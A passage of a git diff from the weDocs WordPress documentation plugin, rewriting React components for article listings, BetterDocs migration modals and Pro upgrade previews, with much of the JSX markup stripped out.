    + { /* Render admin restriction icon. */ } + { wp?.hooks?.applyFilters( + 'wedocs_article_privacy_action', + [], + article?.id + ) } + + { ( isAllowComments === 'on' || + ! Boolean( isAllowComments ) ) && ( +
    + + + +

    + { commentCount } +

    +
    + ) } + { /* Render article contributors. */ } + { wp?.hooks?.applyFilters( + 'wedocs_article_contributors', + '', + article?.id + ) } +
    + { /* translators: %s: Formatted datetime string */ } + { sprintf( + __( 'Updated on %s', 'wedocs' ), + formattedDateString() + ) } +
    +
    +
    +
    +
    + { ! Boolean( parseInt( wp?.hooks?.applyFilters( + 'wedocs_check_is_admin_restricted_article', + false, + article?.id + ) ) ) && ( + + ) } +
    +
    +
    + ); + } + + return null; +}; + +export default ArticleChildrens; diff --git a/src/components/DocListing/SectionArticles.js b/src/components/DocListing/SectionArticles.js index 77fff544..4284888c 100644 --- a/src/components/DocListing/SectionArticles.js +++ b/src/components/DocListing/SectionArticles.js @@ -1,396 +1,396 @@ -import he from 'he'; -import DocActions from '../DocActions'; -import { CSS } from '@dnd-kit/utilities'; -import { __, sprintf } from '@wordpress/i18n'; -import QuickEditModal from './QuickEditModal'; -import { useSortable } from '@dnd-kit/sortable'; -import extractedTitle from '../../utils/extractedTitle'; -import { Fragment, useState, useEffect } from '@wordpress/element'; -import { useSelect } from '@wordpress/data'; -import docStore from '../../data/docs'; -import ArticleChildrens from './ArticleChildrens'; -import AddArticleModal from '../AddArticleModal'; -import DraggableDocs from '../DraggableDocs'; - -const SectionArticles = ( { article, articles, isAdmin, section, sections, searchValue, setShowArticles, isAllowComments } ) => { - const { attributes, listeners, setNodeRef, transform, transition, isDragging } = - useSortable( { id: article?.id } ); - - const style = { - transform: CSS?.Transform?.toString( transform ), - zIndex: isDragging ? 9999 : 100, - position: isDragging ? 'relative' : '', - transition, - }; - - const { modified: lastModifiedDate, comment_count: commentCount } = article; - - const formattedDateString = () => { - const date = new Date( lastModifiedDate ), - options = { day: 'numeric', month: 'short', year: 'numeric' }; - - return date?.toLocaleDateString( 'en-US', options ); - }; - - const articleChildrens = useSelect( - ( select ) => select( docStore ).getArticleChildrens( parseInt( article?.id ) ), - [ article?.id ] - ); - - const [ childrenItems, setChildrenItems ] = useState( articleChildrens || [] ); - const [ needSortingStatusLocal, setNeedSortingStatusLocal ] = useState( false ); - - const sortableStatus = useSelect( - ( select ) => select( docStore ).getSortingStatus(), - [] - ); - - const needSortableStatus = useSelect( - ( select ) => select( docStore ).getNeedSortingStatus(), - [] - ); - - // Update children items when articleChildren changes - useEffect( () => { - if ( articleChildrens ) { - setChildrenItems( articleChildrens ); - } - }, [ articleChildrens, article?.id ] ); - - // Sync local sorting status with global status - useEffect( () => { - setNeedSortingStatusLocal( needSortableStatus ); - }, [ needSortableStatus ] ); - - // Handle sorting when needed - useEffect( () => { - if ( needSortingStatusLocal && childrenItems.length > 0 ) { - const { dispatch } = wp.data; - dispatch( docStore ) - .updateSortingStatus( { sortable_status: sortableStatus, documentations: childrenItems } ) - .then( ( result ) => setNeedSortingStatusLocal( result?.sorting ) ) - .catch( ( error ) => { - console.error( 'Failed to update sorting status:', error ); - } ); - } - }, [ needSortingStatusLocal, childrenItems, sortableStatus ] ); - - const filteredArticleChildrens = searchValue - ? childrenItems?.filter( - ( children ) => children?.title?.rendered?.toLowerCase().includes( searchValue.toLowerCase() ) - ) - : childrenItems; - - const isAdminRestrictedArticle = wp?.hooks?.applyFilters( - 'wedocs_check_is_admin_restricted_article', - false, - article?.id - ); - - if ( section ) { - return ( - -
    -
    - - - -
    -
    -
    -
    -
    - - - - -
    - -
    -
    - - { article?.status === 'draft' && ( -
    - { __( 'Draft', 'wedocs' ) } -
    - ) } - - -
    - -
    -
    - - - { ! Boolean( parseInt( isAdminRestrictedArticle ) ) && ( - <> - - - - - - - -
    - - - -
    - - ) } -
    - -
    -
    -
    -
    - { /* Render admin restriction icon. */ } - { wp?.hooks?.applyFilters( - 'wedocs_article_privacy_action', - [], - article?.id - ) } - - { ( isAllowComments === 'on' || - ! Boolean( isAllowComments ) ) && ( -
    - - - -

    - { commentCount } -

    -
    - ) } - { /* Render article contributors. */ } - { wp?.hooks?.applyFilters( - 'wedocs_article_contributors', - '', - article?.id - ) } -
    - { /* translators: %s: Formatted datetime string */ } - { sprintf( - __( 'Updated on %s', 'wedocs' ), - formattedDateString() - ) } -
    -
    -
    -
    -
    - { ! Boolean( parseInt( wp?.hooks?.applyFilters( - 'wedocs_check_is_admin_restricted_article', - false, - article?.id - ) ) ) && ( - - ) } -
    -
    -
    - - { /* Level 3 children - no DraggableDocs wrapper (nested context doesn't work) */ } - { !isDragging && ( filteredArticleChildrens?.length > 0 ) && ( -
    - { filteredArticleChildrens?.map( ( childrenDoc ) => { - // Allow pro version to override the article children component - const ChildComponent = wp?.hooks?.applyFilters( - 'wedocs_article_children_component', - ArticleChildrens, - { - section: article, - sections: articles, - article: childrenDoc, - setShowArticles: setShowArticles, - isAllowComments: isAllowComments, - searchValue: searchValue, - DocActions: DocActions, - QuickEditModal: QuickEditModal, - AddArticleModal: AddArticleModal, - DraggableDocs: DraggableDocs, - } - ); - - return ( - - ); - } ) } -
    - ) } -
    - ); - } - - return null; -}; - -export default SectionArticles; +import he from 'he'; +import DocActions from '../DocActions'; +import { CSS } from '@dnd-kit/utilities'; +import { __, sprintf } from '@wordpress/i18n'; +import QuickEditModal from './QuickEditModal'; +import { useSortable } from '@dnd-kit/sortable'; +import extractedTitle from '../../utils/extractedTitle'; +import { Fragment, useState, useEffect } from '@wordpress/element'; +import { useSelect } from '@wordpress/data'; +import docStore from '../../data/docs'; +import ArticleChildrens from './ArticleChildrens'; +import AddArticleModal from '../AddArticleModal'; +import DraggableDocs from '../DraggableDocs'; + +const SectionArticles = ( { article, articles, isAdmin, section, sections, searchValue, setShowArticles, isAllowComments } ) => { + const { attributes, listeners, setNodeRef, transform, transition, isDragging } = + useSortable( { id: article?.id } ); + + const style = { + transform: CSS?.Transform?.toString( transform ), + zIndex: isDragging ? 9999 : 100, + position: isDragging ? 'relative' : '', + transition, + }; + + const { modified: lastModifiedDate, comment_count: commentCount } = article; + + const formattedDateString = () => { + const date = new Date( lastModifiedDate ), + options = { day: 'numeric', month: 'short', year: 'numeric' }; + + return date?.toLocaleDateString( 'en-US', options ); + }; + + const articleChildrens = useSelect( + ( select ) => select( docStore ).getArticleChildrens( parseInt( article?.id ) ), + [ article?.id ] + ); + + const [ childrenItems, setChildrenItems ] = useState( articleChildrens || [] ); + const [ needSortingStatusLocal, setNeedSortingStatusLocal ] = useState( false ); + + const sortableStatus = useSelect( + ( select ) => select( docStore ).getSortingStatus(), + [] + ); + + const needSortableStatus = useSelect( + ( select ) => select( docStore ).getNeedSortingStatus(), + [] + ); + + // Update children items when articleChildren changes + useEffect( () => { + if ( articleChildrens ) { + setChildrenItems( articleChildrens ); + } + }, [ articleChildrens, article?.id ] ); + + // Sync local sorting status with global status + useEffect( () => { + setNeedSortingStatusLocal( needSortableStatus ); + }, [ needSortableStatus ] ); + + // Handle sorting when needed + useEffect( () => { + if ( needSortingStatusLocal && childrenItems.length > 0 ) { + const { dispatch } = wp.data; + dispatch( docStore ) + .updateSortingStatus( { sortable_status: sortableStatus, documentations: childrenItems } ) + .then( ( result ) => setNeedSortingStatusLocal( result?.sorting ) ) + .catch( ( error ) => { + console.error( 'Failed to update sorting status:', error ); + } ); + } + }, [ needSortingStatusLocal, childrenItems, sortableStatus ] ); + + const filteredArticleChildrens = searchValue + ? childrenItems?.filter( + ( children ) => children?.title?.rendered?.toLowerCase().includes( searchValue.toLowerCase() ) + ) + : childrenItems; + + const isAdminRestrictedArticle = wp?.hooks?.applyFilters( + 'wedocs_check_is_admin_restricted_article', + false, + article?.id + ); + + if ( section ) { + return ( + +
    +
    + + + +
    +
    +
    +
    +
    + + + + +
    + +
    +
    + + { article?.status === 'draft' && ( +
    + { __( 'Draft', 'wedocs' ) } +
    + ) } + + +
    + +
    +
    + + + { ! Boolean( parseInt( isAdminRestrictedArticle ) ) && ( + <> + + + + + + + +
    + + + +
    + + ) } +
    + +
    +
    +
    +
    + { /* Render admin restriction icon. */ } + { wp?.hooks?.applyFilters( + 'wedocs_article_privacy_action', + [], + article?.id + ) } + + { ( isAllowComments === 'on' || + ! Boolean( isAllowComments ) ) && ( +
    + + + +

    + { commentCount } +

    +
    + ) } + { /* Render article contributors. */ } + { wp?.hooks?.applyFilters( + 'wedocs_article_contributors', + '', + article?.id + ) } +
    + { /* translators: %s: Formatted datetime string */ } + { sprintf( + __( 'Updated on %s', 'wedocs' ), + formattedDateString() + ) } +
    +
    +
    +
    +
    + { ! Boolean( parseInt( wp?.hooks?.applyFilters( + 'wedocs_check_is_admin_restricted_article', + false, + article?.id + ) ) ) && ( + + ) } +
    +
    +
    + + { /* Level 3 children - no DraggableDocs wrapper (nested context doesn't work) */ } + { !isDragging && ( filteredArticleChildrens?.length > 0 ) && ( +
    + { filteredArticleChildrens?.map( ( childrenDoc ) => { + // Allow pro version to override the article children component + const ChildComponent = wp?.hooks?.applyFilters( + 'wedocs_article_children_component', + ArticleChildrens, + { + section: article, + sections: articles, + article: childrenDoc, + setShowArticles: setShowArticles, + isAllowComments: isAllowComments, + searchValue: searchValue, + DocActions: DocActions, + QuickEditModal: QuickEditModal, + AddArticleModal: AddArticleModal, + DraggableDocs: DraggableDocs, + } + ); + + return ( + + ); + } ) } +
    + ) } +
    + ); + } + + return null; +}; + +export default SectionArticles; diff --git a/src/components/Migrations/Modals/MigrationContentMappingModal.js b/src/components/Migrations/Modals/MigrationContentMappingModal.js index d262eb51..6c4d8416 100644 --- a/src/components/Migrations/Modals/MigrationContentMappingModal.js +++ b/src/components/Migrations/Modals/MigrationContentMappingModal.js @@ -1,218 +1,218 @@ -import { __ } from '@wordpress/i18n'; -import { Fragment, useEffect, useState } from '@wordpress/element'; -import { Dialog, Transition } from '@headlessui/react'; - -const MigrationContentMappingModal = ( { - migratedDocTitle, - showMigrationMap, - handleMigrateClick, - setShowMigrationMap, -} ) => { - const [ parentTitle, setParentTitle ] = useState( __( 'Untitled Docs', 'wedocs' ) ); - const [ disabled, setDisabled ] = useState( Boolean( migratedDocTitle ) ); - - const mappingData = [ - { betterDocsName: __( 'Categories', 'wedocs' ), weDocsName: __( 'Section', 'wedocs' ) }, - { betterDocsName: __( 'Subcategories', 'wedocs' ), weDocsName: __( 'Section', 'wedocs' ) }, - { betterDocsName: __( 'Articles', 'wedocs' ), weDocsName: __( 'Articles', 'wedocs' ) }, - ]; - - const onParentDocTitleChange = ( event ) => { - setParentTitle( event?.target?.value ); - } - - useEffect( () => { - if ( Boolean( migratedDocTitle ) ) { - setParentTitle( migratedDocTitle ); - setDisabled( true ); - } - }, [ migratedDocTitle ] ); - - return ( - - - setShowMigrationMap( false ) } - > - -
    - - -
    -
    - - -
    -
    - - { __( 'BetterDocs to weDocs content mapping', 'wedocs' ) } - -

    - { __( - 'We want to make sure you have a seamless migration experience to weDocs', - 'wedocs' - ) } -

    -
    -
    - -
    -
    -
    - - - - - - - - - -

    - { __( 'No parent doc, only category & subcategory-based articles', 'wedocs' ) } -

    -
    -
    -
    - - - - - - - - - - -

    - { __( 'Articles under super-organized parent doc-section structure', 'wedocs' ) } -

    -
    -
    -
    - - - - - - -
    - -
    - { __( 'Created by weDocs', 'wedocs' ) } -
    - -
    -
    - - - - - - - - -
    - { mappingData && mappingData?.map( ( data, index ) => ( -
    - - - - - - -
    - ) ) } -
    - - - - - - - - -
    -
    -
    - -
    -
    - - -
    -
    -
    -
    -
    -
    -
    -
    - ); -} - -export default MigrationContentMappingModal; +import { __ } from '@wordpress/i18n'; +import { Fragment, useEffect, useState } from '@wordpress/element'; +import { Dialog, Transition } from '@headlessui/react'; + +const MigrationContentMappingModal = ( { + migratedDocTitle, + showMigrationMap, + handleMigrateClick, + setShowMigrationMap, +} ) => { + const [ parentTitle, setParentTitle ] = useState( __( 'Untitled Docs', 'wedocs' ) ); + const [ disabled, setDisabled ] = useState( Boolean( migratedDocTitle ) ); + + const mappingData = [ + { betterDocsName: __( 'Categories', 'wedocs' ), weDocsName: __( 'Section', 'wedocs' ) }, + { betterDocsName: __( 'Subcategories', 'wedocs' ), weDocsName: __( 'Section', 'wedocs' ) }, + { betterDocsName: __( 'Articles', 'wedocs' ), weDocsName: __( 'Articles', 'wedocs' ) }, + ]; + + const onParentDocTitleChange = ( event ) => { + setParentTitle( event?.target?.value ); + } + + useEffect( () => { + if ( Boolean( migratedDocTitle ) ) { + setParentTitle( migratedDocTitle ); + setDisabled( true ); + } + }, [ migratedDocTitle ] ); + + return ( + + + setShowMigrationMap( false ) } + > + +
    + + +
    +
    + + +
    +
    + + { __( 'BetterDocs to weDocs content mapping', 'wedocs' ) } + +

    + { __( + 'We want to make sure you have a seamless migration experience to weDocs', + 'wedocs' + ) } +

    +
    +
    + +
    +
    +
    + + + + + + + + + +

    + { __( 'No parent doc, only category & subcategory-based articles', 'wedocs' ) } +

    +
    +
    +
    + + + + + + + + + + +

    + { __( 'Articles under super-organized parent doc-section structure', 'wedocs' ) } +

    +
    +
    +
    + + + + + + +
    + +
    + { __( 'Created by weDocs', 'wedocs' ) } +
    + +
    +
    + + + + + + + + +
    + { mappingData && mappingData?.map( ( data, index ) => ( +
    + + + + + + +
    + ) ) } +
    + + + + + + + + +
    +
    +
    + +
    +
    + + +
    +
    +
    +
    +
    +
    +
    +
    + ); +} + +export default MigrationContentMappingModal; diff --git a/src/components/Migrations/Modals/MigrationProgressModal.js b/src/components/Migrations/Modals/MigrationProgressModal.js index 0b4fc38d..ba28393d 100644 --- a/src/components/Migrations/Modals/MigrationProgressModal.js +++ b/src/components/Migrations/Modals/MigrationProgressModal.js @@ -1,168 +1,168 @@ -import { __ } from '@wordpress/i18n'; -import ProgressBar from '../ProgressBar'; -import { Fragment } from '@wordpress/element'; -import { Dialog, Transition } from '@headlessui/react'; - -const MigrationProgressModal = ( { - migrationProgress, - openProgressModal, - setOpenProgressModal -} ) => { - return ( - - setOpenProgressModal( false ) } - > - -
    - - -
    -
    - - -
    -
    - - { __( 'Migrating Docs...', 'wedocs' ) } - -

    - { __( - 'Migrating existing docs from BetterDocs to weDocs', - 'wedocs' - ) } -

    -
    -
    - -
    - {/* Render migrating svg. */} - - - - - - - - - - - - - - - - - - - - - - - - - - - {/* Render migration progress bar. */} - -
    - -
    -
    -
    - -
    -
    -
    -
    -
    -
    -
    -
    - ); -} - -export default MigrationProgressModal; +import { __ } from '@wordpress/i18n'; +import ProgressBar from '../ProgressBar'; +import { Fragment } from '@wordpress/element'; +import { Dialog, Transition } from '@headlessui/react'; + +const MigrationProgressModal = ( { + migrationProgress, + openProgressModal, + setOpenProgressModal +} ) => { + return ( + + setOpenProgressModal( false ) } + > + +
    + + +
    +
    + + +
    +
    + + { __( 'Migrating Docs...', 'wedocs' ) } + +

    + { __( + 'Migrating existing docs from BetterDocs to weDocs', + 'wedocs' + ) } +

    +
    +
    + +
    + {/* Render migrating svg. */} + + + + + + + + + + + + + + + + + + + + + + + + + + + {/* Render migration progress bar. */} + +
    + +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + ); +} + +export default MigrationProgressModal; diff --git a/src/components/Migrations/Modals/MigrationSelectionModal.js b/src/components/Migrations/Modals/MigrationSelectionModal.js index 9cfeb4bb..be4a1b56 100644 --- a/src/components/Migrations/Modals/MigrationSelectionModal.js +++ b/src/components/Migrations/Modals/MigrationSelectionModal.js @@ -1,214 +1,214 @@ -import { __ } from '@wordpress/i18n'; -import { Fragment, useState } from '@wordpress/element'; -import { Dialog, Listbox, Transition } from '@headlessui/react'; -import { CheckIcon, ChevronDownIcon } from '@heroicons/react/20/solid'; - -const MigrationSelectionModal = ( { - children, - className, - isMigrationDone, - openSelectionModal, - setShowMigrationMap, - setOpenSelectionModal -} ) => { - const migratablePlugins = [ - { key: 'betterdocs', name: __( 'BetterDocs', 'wedocs' ) } - ]; - - const [ selectedPlugin, setSelectedPlugin ] = useState( migratablePlugins[0] ); - - const handleSelectionDone = () => { - setShowMigrationMap( true ); - setOpenSelectionModal( false ); - }; - - return ( - - - - - setOpenSelectionModal( false ) } - > - -
    - - -
    -
    - - -
    -
    - - { __( 'Are you sure to migrate?', 'wedocs' ) } - -

    - { __( - 'We want to make sure you have a successful migration experience to weDocs.', - 'wedocs' - ) } -

    - - { migratablePlugins && ( -
    - { Object.keys( migratablePlugins ).length > 0 ? ( -
    - -
    - -
    - - { selectedPlugin?.name } - - - - - - { migratablePlugins?.map( ( plugin ) => ( - - `cursor-pointer relative select-none py-2 pl-3 pr-9 ${ - active ? 'text-white bg-indigo-600' : 'text-gray-900' - }` - } - value={ plugin } - > - { ( { selected, active } ) => ( - <> - - { plugin?.name } - - { selected && ( - - - ) } - - ) } - - ) ) } - - -
    -
    -
    - { __( 'to weDocs' ) } -
    -
    -
    - ) : ( -
    - -
    - ) } -
    - ) } - -
    -
    - - - -
    -
    - { __( 'Migration Notice: ', 'wedocs' ) } - { __( 'This will migrate all your docs to a Single Parent Doc. If you are a BetterDocs Pro user and using Knowledge Bases, migration for Pro users is coming soon.', 'wedocs' ) } -
    -
    - -
    -
    - - - -
    -
    - { __( 'Uncategorized Articles: ', 'wedocs' ) }
    - { __( 'Note: During the migration, articles under "Uncategorized" category won\'t be transferred. Please ensure to categorize articles appropriately before migrating.', 'wedocs' ) } -
    -
    -
    -
    - -
    -
    - - -
    -
    -
    -
    -
    -
    -
    -
    - ); -} - -export default MigrationSelectionModal; +import { __ } from '@wordpress/i18n'; +import { Fragment, useState } from '@wordpress/element'; +import { Dialog, Listbox, Transition } from '@headlessui/react'; +import { CheckIcon, ChevronDownIcon } from '@heroicons/react/20/solid'; + +const MigrationSelectionModal = ( { + children, + className, + isMigrationDone, + openSelectionModal, + setShowMigrationMap, + setOpenSelectionModal +} ) => { + const migratablePlugins = [ + { key: 'betterdocs', name: __( 'BetterDocs', 'wedocs' ) } + ]; + + const [ selectedPlugin, setSelectedPlugin ] = useState( migratablePlugins[0] ); + + const handleSelectionDone = () => { + setShowMigrationMap( true ); + setOpenSelectionModal( false ); + }; + + return ( + + + + + setOpenSelectionModal( false ) } + > + +
    + + +
    +
    + + +
    +
    + + { __( 'Are you sure to migrate?', 'wedocs' ) } + +

    + { __( + 'We want to make sure you have a successful migration experience to weDocs.', + 'wedocs' + ) } +

    + + { migratablePlugins && ( +
    + { Object.keys( migratablePlugins ).length > 0 ? ( +
    + +
    + +
    + + { selectedPlugin?.name } + + + + + + { migratablePlugins?.map( ( plugin ) => ( + + `cursor-pointer relative select-none py-2 pl-3 pr-9 ${ + active ? 'text-white bg-indigo-600' : 'text-gray-900' + }` + } + value={ plugin } + > + { ( { selected, active } ) => ( + <> + + { plugin?.name } + + { selected && ( + + + ) } + + ) } + + ) ) } + + +
    +
    +
    + { __( 'to weDocs' ) } +
    +
    +
    + ) : ( +
    + +
    + ) } +
    + ) } + +
    +
    + + + +
    +
    + { __( 'Migration Notice: ', 'wedocs' ) } + { __( 'This will migrate all your docs to a Single Parent Doc. If you are a BetterDocs Pro user and using Knowledge Bases, migration for Pro users is coming soon.', 'wedocs' ) } +
    +
    + +
    +
    + + + +
    +
    + { __( 'Uncategorized Articles: ', 'wedocs' ) }
    + { __( 'Note: During the migration, articles under "Uncategorized" category won\'t be transferred. Please ensure to categorize articles appropriately before migrating.', 'wedocs' ) } +
    +
    +
    +
    + +
    +
    + + +
    +
    +
    +
    +
    +
    +
    +
    + ); +} + +export default MigrationSelectionModal; diff --git a/src/components/ProPreviews/common/UpgradeButton.js b/src/components/ProPreviews/common/UpgradeButton.js index a7791baf..81b96ef7 100644 --- a/src/components/ProPreviews/common/UpgradeButton.js +++ b/src/components/ProPreviews/common/UpgradeButton.js @@ -1,29 +1,29 @@ -import { __ } from '@wordpress/i18n'; - -const UpgradeButton = ( { classes, showPopup, children, className } ) => { - return ( - <> - { children ? ( - { children } - ) : ( - - { __( 'Go Pro – Up to 50% OFF! 🔥', 'wedocs' ) } - {/* { - - - - - - } */} - - ) } - - ); -}; - -export default UpgradeButton; +import { __ } from '@wordpress/i18n'; + +const UpgradeButton = ( { classes, showPopup, children, className } ) => { + return ( + <> + { children ? ( + { children } + ) : ( + + { __( 'Go Pro – Up to 50% OFF! 🔥', 'wedocs' ) } + {/* { + + + + + + } */} + + ) } + + ); +}; + +export default UpgradeButton; diff --git a/src/components/ProPreviews/common/UpgradePopup.js b/src/components/ProPreviews/common/UpgradePopup.js index ee10faab..da74eb17 100644 --- a/src/components/ProPreviews/common/UpgradePopup.js +++ b/src/components/ProPreviews/common/UpgradePopup.js @@ -1,258 +1,258 @@ -import { __ } from '@wordpress/i18n'; -import UpgradeButton from './UpgradeButton'; -import { Dialog, Transition } from '@headlessui/react'; -import { Fragment, useState } from '@wordpress/element'; -import SliderImgOneSrc from '../../../assets/img/popup-slider/slider-1.jpg'; -import SliderImgTwoSrc from '../../../assets/img/popup-slider/slider-2.jpg'; -import SliderImgFourSrc from '../../../assets/img/popup-slider/slider-3.jpg'; -import SliderImgThreeSrc from '../../../assets/img/popup-slider/slider-4.jpg'; - -import "react-responsive-carousel/lib/styles/carousel.min.css"; -import { Carousel } from 'react-responsive-carousel'; - -const UpgradePopup = ({ children, className }) => { - let [ isOpen, setIsOpen ] = useState( false ); - - const closeModal = () => { - setIsOpen( false ); - } - - const openModal = ( event ) => { - event.preventDefault(); - setIsOpen( true ); - } - - const images = [ - { src: SliderImgOneSrc, text: __( 'Pop-up slider first image', 'wedocs' ) }, - { src: SliderImgTwoSrc, text: __( 'Pop-up slider second image', 'wedocs' ) }, - { src: SliderImgThreeSrc, text: __( 'Pop-up slider third image', 'wedocs' ) }, - { src: SliderImgFourSrc, text: __( 'Pop-up slider fourth image', 'wedocs' ) }, - ]; - - return ( - <> - {/* Pro upgrade button. */} - - { children } - - - {/* Show premium features content via pop-up. */} - - - -
    - - -
    -
    - - -
    -
    -
    - - - - -
    - -
    -
    -
    - - - - - - - - - - - - - -
    -

    { __( 'Upgrade to', 'wedocs' ) }

    -
    -

    - weDocs Pro -

    -

    - { __( 'to experience even more Powerful features 🎉', 'wedocs' ) } -

    -
    -
    -
    -
    -
    -
    - - - -
    -
    -
    -

    - { __( 'Role based permission management ', 'wedocs' ) } - { __( 'or viewing, managing, and configuring permission settings.', 'wedocs' ) } -

    -
    -
    -
    -
    -
    - - - -
    -
    -
    -

    - { __( 'Arrange content automatically or manually ', 'wedocs' ) } - { __( 'giving you full control over its presentation.', 'wedocs' ) } -

    -
    -
    -
    -
    -
    - - - -
    -
    -
    -

    - { __( 'Personalize messaging tab with custom titles ', 'wedocs' ) } - { __( 'and messages for seamless communication.', 'wedocs' ) } -

    -
    -
    -
    -
    -
    - - - -
    -
    -
    -

    - { __( 'Customize with ', 'wedocs' ) } - { __( 'design widgets, colors, and pre-built options ', 'wedocs' ) } - { __( 'for an appealing interface.', 'wedocs' ) } -

    -
    -
    -
    -
    -
    - - - -
    -
    -
    -

    - { __( 'Get assisted by A.I. Powered Chatbot ', 'wedocs' ) } - { __( '24/7 with updated information and support.', 'wedocs' ) } -

    -
    -
    -
    - -
    -
    -
    - { - const style = { marginLeft: 12, cursor: "pointer", background: 'transparent' }; - return ( - - - - ); - }} - > - { images?.map( ( image, index ) => ( - { - ) ) } - -
    -
    -
    -
    -
    -

    - - - - { __( '10,000+ successful businesses', 'wedocs' ) } -

    -

    - - - - { __( '14 days no questions asked refund policy', 'wedocs' ) } -

    -

    - - - - { __( 'Industry leading 24x7 support', 'wedocs' ) } -

    -
    -
    -
    -
    -
    -
    -
    -
    - - ) -} - -export default UpgradePopup; +import { __ } from '@wordpress/i18n'; +import UpgradeButton from './UpgradeButton'; +import { Dialog, Transition } from '@headlessui/react'; +import { Fragment, useState } from '@wordpress/element'; +import SliderImgOneSrc from '../../../assets/img/popup-slider/slider-1.jpg'; +import SliderImgTwoSrc from '../../../assets/img/popup-slider/slider-2.jpg'; +import SliderImgFourSrc from '../../../assets/img/popup-slider/slider-3.jpg'; +import SliderImgThreeSrc from '../../../assets/img/popup-slider/slider-4.jpg'; + +import "react-responsive-carousel/lib/styles/carousel.min.css"; +import { Carousel } from 'react-responsive-carousel'; + +const UpgradePopup = ({ children, className }) => { + let [ isOpen, setIsOpen ] = useState( false ); + + const closeModal = () => { + setIsOpen( false ); + } + + const openModal = ( event ) => { + event.preventDefault(); + setIsOpen( true ); + } + + const images = [ + { src: SliderImgOneSrc, text: __( 'Pop-up slider first image', 'wedocs' ) }, + { src: SliderImgTwoSrc, text: __( 'Pop-up slider second image', 'wedocs' ) }, + { src: SliderImgThreeSrc, text: __( 'Pop-up slider third image', 'wedocs' ) }, + { src: SliderImgFourSrc, text: __( 'Pop-up slider fourth image', 'wedocs' ) }, + ]; + + return ( + <> + {/* Pro upgrade button. */} + + { children } + + + {/* Show premium features content via pop-up. */} + + + +
    + + +
    +
    + + +
    +
    +
    + + + + +
    + +
    +
    +
    + + + + + + + + + + + + + +
    +

    { __( 'Upgrade to', 'wedocs' ) }

    +
    +

    + weDocs Pro +

    +

    + { __( 'to experience even more Powerful features 🎉', 'wedocs' ) } +

    +
    +
    +
    +
    +
    +
    + + + +
    +
    +
    +

    + { __( 'Role based permission management ', 'wedocs' ) } + { __( 'or viewing, managing, and configuring permission settings.', 'wedocs' ) } +

    +
    +
    +
    +
    +
    + + + +
    +
    +
    +

    + { __( 'Arrange content automatically or manually ', 'wedocs' ) } + { __( 'giving you full control over its presentation.', 'wedocs' ) } +

    +
    +
    +
    +
    +
    + + + +
    +
    +
    +

    + { __( 'Personalize messaging tab with custom titles ', 'wedocs' ) } + { __( 'and messages for seamless communication.', 'wedocs' ) } +

    +
    +
    +
    +
    +
    + + + +
    +
    +
    +

    + { __( 'Customize with ', 'wedocs' ) } + { __( 'design widgets, colors, and pre-built options ', 'wedocs' ) } + { __( 'for an appealing interface.', 'wedocs' ) } +

    +
    +
    +
    +
    +
    + + + +
    +
    +
    +

    + { __( 'Get assisted by A.I. Powered Chatbot ', 'wedocs' ) } + { __( '24/7 with updated information and support.', 'wedocs' ) } +

    +
    +
    +
    + +
    +
    +
    + { + const style = { marginLeft: 12, cursor: "pointer", background: 'transparent' }; + return ( + + + + ); + }} + > + { images?.map( ( image, index ) => ( + { + ) ) } + +
    +
    +
    +
    +
    +

    + + + + { __( '10,000+ successful businesses', 'wedocs' ) } +

    +

    + + + + { __( '14 days no questions asked refund policy', 'wedocs' ) } +

    +

    + + + + { __( 'Industry leading 24x7 support', 'wedocs' ) } +

    +
    +
    +
    +
    +
    +
    +
    +
    + + ) +} + +export default UpgradePopup; diff --git a/src/components/ProPreviews/common/UpgradeTooltip.js b/src/components/ProPreviews/common/UpgradeTooltip.js index 737b3dee..261827ee 100644 --- a/src/components/ProPreviews/common/UpgradeTooltip.js +++ b/src/components/ProPreviews/common/UpgradeTooltip.js @@ -1,37 +1,37 @@ -import { __ } from '@wordpress/i18n'; -import UpgradeButton from './UpgradeButton'; - -const UpgradeTooltip = ( { classes, heading, description } ) => { - const features = [ - __( 'Role-based permission management', 'wedocs' ), - __( 'Auto & manual content arrangement', 'wedocs' ), - __( 'Customizable doc & messaging tab' , 'wedocs' ), - __( 'Pre-built & custom colors', 'wedocs' ), - __( 'Assistant widget and A.I. Powered Chatbot', 'wedocs' ), - ]; - - return ( -
    - { - heading ?

    { __( heading, 'wedocs' ) }

    :

    { __( 'Available in Pro. Unlock & enjoy:', 'wedocs' ) }

    - } - { description ?

    {__(description,'wedocs')}

    : features && ( -
      - { features?.map( ( featureName, index ) => ( -
    • - - - - - - { featureName } -
    • - ) ) } -
    - ) } - -
    - ); -} - -export default UpgradeTooltip; +import { __ } from '@wordpress/i18n'; +import UpgradeButton from './UpgradeButton'; + +const UpgradeTooltip = ( { classes, heading, description } ) => { + const features = [ + __( 'Role-based permission management', 'wedocs' ), + __( 'Auto & manual content arrangement', 'wedocs' ), + __( 'Customizable doc & messaging tab' , 'wedocs' ), + __( 'Pre-built & custom colors', 'wedocs' ), + __( 'Assistant widget and A.I. Powered Chatbot', 'wedocs' ), + ]; + + return ( +
    + { + heading ?

    { __( heading, 'wedocs' ) }

    :

    { __( 'Available in Pro. Unlock & enjoy:', 'wedocs' ) }

    + } + { description ?

    {__(description,'wedocs')}

    : features && ( +
      + { features?.map( ( featureName, index ) => ( +
    • + + + + + + { featureName } +
    • + ) ) } +
    + ) } + +
    + ); +} + +export default UpgradeTooltip; diff --git a/src/components/ProPreviews/index.js b/src/components/ProPreviews/index.js index fc02160b..43342c98 100644 --- a/src/components/ProPreviews/index.js +++ b/src/components/ProPreviews/index.js @@ -1,256 +1,256 @@ -import { __ } from '@wordpress/i18n'; -import PermissionSettings from './PermissionSettings'; -import { userIsAdmin } from '../../utils/helper'; -import UpgradePopup from './common/UpgradePopup'; -import LayoutSettings from './LayoutSettings'; -import AiChatBotSettings from './AssistantWidgetPanels/AiChatPanel'; -import ExploreSettings from './AssistantWidgetPanels/ExplorePanel'; -import MessageSettings from './AssistantWidgetPanels/MessagePanel'; -import PlacementSettings from './AssistantWidgetPanels/PlacementPanel'; -import PreferenceSettings from './AssistantWidgetPanels/PreferencePanel'; -import SocialShareSettings from './SocialShareSettings'; -import Badge from './common/Badge'; - -wp.hooks.addFilter( - 'wedocs_settings_menu', - 'wedocs_free_settings_menu_preview', - function ( menus ) { - // Check if Pro is loaded dynamically - const isProLoaded = wp.hooks.applyFilters('wedocs_pro_loaded', false); - if (isProLoaded) return menus; - menus.permission = { - pro: true, - text: __( 'Permission Management', 'wedocs' ), - icon: ( - - - - ), - }; - menus.assistant = { - pro: true, - text: __( 'Assistant Widget', 'wedocs' ), - 